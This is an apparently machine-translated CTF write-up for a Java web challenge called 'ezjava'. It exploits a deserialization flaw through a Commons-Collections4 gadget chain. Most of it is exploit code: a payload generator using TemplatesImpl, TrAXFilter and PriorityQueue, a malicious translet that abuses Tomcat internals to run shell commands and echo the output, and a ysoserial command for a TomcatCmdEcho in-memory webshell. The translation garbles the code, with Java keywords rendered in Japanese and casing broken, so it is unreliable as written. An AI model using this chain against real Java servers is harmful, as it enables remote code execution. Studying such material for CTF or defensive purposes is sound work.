Jump to content

0x01 web

1.ezjava

ソースコードをダウンロードしてJARファイルを逆コンパイルし、Post /MyTestにはDeserializationの脆弱性https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302033773.pngがあることがわかります

最終的には役に立たないようです

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034773.png

プログラムをチェックして、Apacheの共通コレクションS4、およびその脱必要性のある利用クラスがパッチが適用されていないことを確認します。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034341.png

Commons-Collection4-4.0を一目で見たので、直接Ysoserialを使用してヒットしました

テストサイトは、それがCC4であることを発見しました

添付の記事

さらに、Spring-Echには、インターネット上で既製のPOCがあります

ホイールを作る!

パッケージmoe.orangemc;

com.sun.org.apache.xalan.internal.xsltc.trax.templatesimplをインポートします。

com.sun.org.apache.xalan.internal.xsltc.trax.traxfilterをインポートします。

javassist.classpoolをインポートします。

javassist.ctclassをインポートします。

Import org.apache.commons.collections4.transformer;

org.apache.commons.collections4.comparators.transformingcomparatorをインポートします。

org.apache.commons.collections4.functors.chainedtransformerをインポートします。

org.apache.commons.collections4.functors.constanttransformerをインポートします。

Import org.apache.commons.collections4.functors.instantiatetransformer;

javax.xml.transform.templatesをインポートします。

java.io.bytearrayinputStreamをインポートします。

java.io.bytearrayoutputStreamをインポートします。

java.io.objectinputStreamをインポートします。

java.io.objectOutputStreamをインポートします。

java.lang.reflect.fieldをインポートします。

java.util.base64をインポートします。

java.util.priorityqueueをインポートします。

パブリッククラスメイン{

public static void main(string [] args){

試す {

classpool classpool=classpool.getDefault();

ctclass ctclass=classpool.getctclass( 'meow');

byte [] bytes=ctclass.tobytecode();

templatesimpl templates=new TemplatesImpl();

フィールドF1=templates.getClass()。getDeclaredField( '_ name');

フィールドF2=templates.getClass()。getDeclaredField( '_ bytecodes');

f1.setAccessible(true);

f2.setAccessible(true);

f1.set(Templates、 'Meow');

f2.set(テンプレート、new byte [] [] {bytes});

TransformerClass?オブジェクトChainedTransformer=new ChainedTransformer(new constantTransformer(traxfilter.class)、new Instantiatetransformer(new class [] {templates.class}、new object [] {Templates}));

TransformingComparatorClass?オブジェクトTransformingComparator=new TransformingComparator(ChainedTransformer);

PriorityQueueInteger queue=new PriorityQueue(2);

queue.add(1);

queue.add(1);

フィールドf=queue.getClass()。getDeclaredField( 'Comparator');

f.setAccessible(true);

f.set(queue、TransformingComparator);

フィールドF3=queue.getClass()。getDeclaredField( 'Queue');

f3.SetAccessible(true);

f3.set(queue、new object [] {chainedtransformer、chainedtransformer});

bytearrayoutputStream baos=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(baos);

oos.writeobject(queue);

oos.close();

string result=new String(base64.getEncoder()。encode(baos.tobytearray()));

system.out.println(result);

} catch(例外e){

e.printstacktrace();

}

}

}上記のコードによると、エコーできないことがわかりますが、Baiduによると、Apache Catalinaを使用してエコーするために使用できます。同時に、このクラスライブラリ:はパッケージに含まれています。

1049983-20221102172147791-1876168569.png

悪意のあるクラスを書く:

com.sun.org.apache.xalan.internal.xsltc.domをインポートします。

com.sun.org.apache.xalan.internal.xsltc.transletexceptionをインポートします。

com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttransletをインポートします。

com.sun.org.apache.xml.internal.dtm.dtmaxisiteratorをインポートします。

com.sun.org.apache.xml.internal.serializer.serializationhandlerをインポートします。

パブリッククラスMeowは抽象的なトランスレットを拡張します{

public meow(){

素晴らしい();

this.namesArray=new String [] {'Meow'};

試す {

Java.lang.Refflt.field Contextfield=org.apache.catalina.core.standardcontext.class.getDeclaredfield( 'context');

Java.lang.Reflect.field ServiceField=org.apache.catalina.core.applicationcontext.class.getDeclaredfield( 'service');

Java.lang.Refflt.field requestfield=org.apache.coyote.requestinfo.class.getDeclaredfield( 'req');

Java.lang.Reflect.Method gethandlermethod=org.apache.coyote.abstractprotocol.class.getDeclaredMethod( 'gethandler'、null);

contextfield.setAccessible(true);

servicefield.setAccessible(true);

requestfield.setAccessible(true);

gethandlermethod.setAccessible(true);

org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase=

(org.apache.catalina.loader.webappclassloaderbase)thread.currentthread()。getContextClassLoader();

org.apache.catalina.core.applicationcontext applicationContext=(org.apache.catalina.core.applicationcontext)contextfield.get(webappclassloaderbase.getResources()。getContext());

org.apache.catalina.core.standardservice StandardService=(org.apache.catalina.core.standardervice)servicefield.get(ApplicationContext);

org.apache.catalina.connector.connector [] connectors=starderservice.findconnectors();

for(int i=0; iconnectors.length; i ++){

if(4==コネクタ[i] .getscheme()。length()){

org.apache.coyote.protocolhandler protocolhandler=connectors [i] .getProtocolhandler();

if(org.apache.coyote.http11.abstracthtp1p1protocolのプロトコルハンドラーインスタンス){

class [] classes=org.apache.coyote.abstractprotocol.class.getDeclaredClasses();

for(int j=0; j classes.length; j ++){

if(52==(classes [j] .getname()。length())|| 60==(classes [j] .getname()。length()){

system.out.println(classes [j] .getname());

Java.lang.Refflt.field GlobalField=classes [j] .getDeclaredfield( 'Global');

Java.lang.Refflt.field Processorsfield=org.apache.coyote.requestgroupinfo.class.getDeclaredfield( 'processors');

Globalfield.SetAccessible(true);

processorsfield.setAccessible(true);

org.apache.coyote.requestgroupinfo requestgroupinfo=(org.apache.coyote.requestgroupinfo)Globalfield.get(gethandlermethod.invoke(Protocolhandler、null)));

java.util.list list=(java.util.list)processorsfield.get(requestgroupinfo);

for(int k=0; k list.size(); k ++){

org.apache.coyote.request temprequest=(org.apache.coyote.request)requestfield.get(list.get(k));

system.out.println(temprequest.getheader( 'tomcat'));

org.apache.catalina.connector.request request=(org.apache.catalina.connector.request)temprequest.getNote(1);

文字列cmd='' + 'cat /flag' + '';

string [] cmds=!system.getProperty( 'os.name')。tolowercase()。contains( 'win')? new String [] {'sh'、 '-C'、cmd} : new String [] {'cmd.exe'、 '/c'、cmd};

java.io.inputStream in=runtime.getRuntime()。exec(cmds).getInputStream();

java.util.scanner s=new Java.util.scanner(in).usedelimiter( '\ n');

string output=s.hasnext()? s.next(): '';

java.io.writer writer=request.getResponse()。getWriter();

java.lang.reft.fieldを使用してwriter=request.getResponse()。getClass()。getDeclaredfield( 'usingWriter');

whirewter.setAccessible(true);

whirewter.set(request.getResponse()、boolean.false);

writer.write(output);

writer.flush();

壊す;

}

壊す;

}

}

}

壊す;

}

}

} catch(例外e){

}

}

@オーバーライド

public void transform(dom document、serializationhandler [] handlers)transletexception {

}

@オーバーライド

public void transform(dom document、dtmaxisiterator iterator、serializationhandlerハンドラー)transletexception {

}

}

回った後、マスターY4erのYsoserialの修正バージョンを見つけました

https://github.com/y4er/ysoserial

Tomcatcmdecho Memory Horseと組み合わせてCC4を試してください

Java -jar yserial-main-1736fa42da-1.jar commonscollections4 'class:tomcatcmdecho' | base64

パッケージを送信するときは、コンテンツタイプを削除してください

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045474.png

コマンドは、2回目の送信時に正常に実行されました

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...